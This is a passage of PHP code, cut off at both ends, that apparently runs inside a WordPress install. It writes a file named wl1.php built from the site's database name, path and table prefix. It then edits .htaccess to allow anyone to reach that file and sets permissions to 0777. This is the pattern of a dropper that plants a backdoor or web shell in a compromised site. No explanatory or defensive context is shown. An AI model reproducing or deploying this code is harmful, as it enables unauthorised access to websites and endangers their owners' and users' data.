nt1=str_replace('---DB_NAME---', DB_NAME, $self_content1);
$self_content1=str_replace('---ABSPATH---', ABSPATH, $self_content1);
$self_content1=str_replace('---$table_prefix---', $table_prefix, $self_content1);
$self_content1=str_replace('//---', '', $self_content1);
$self_content1='<?php ' . PHP_EOL . $self_content1;
$run_name='wl1.php';
if (is_file(__DIR__ .'/'. $run_name))
{
    chmod( __DIR__ .'/'. $run_name, 0777 );
    unlink( __DIR__ .'/'. $run_name ); 
}

$hta_name = __DIR__ . "/.htaccess";
$hta_add  = "\n" . "<FilesMatch 'wl1.php'>";
$hta_add .= "\n" . "Order deny,allow";
$hta_add .= "\n" . "Allow from all";
$hta_add .= "\n" . "</FilesMatch>";        
if ( is_file( $hta_name ) ) {
    $hta_content=file_get_contents($hta_name);
    $hta_content=str_replace($hta_add,'',$hta_content);
    $hta_content.=$hta_add;
    chmod( $hta_name, 0777 );
    unlink( $hta_name );
    file_put_contents( $hta_name, $hta_content );
}else{
    file_put_contents( $hta_name, $hta_add );            
}
        
file_put_contents( __DIR__ .'/'. $run_name, $self_content1 );
$http=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!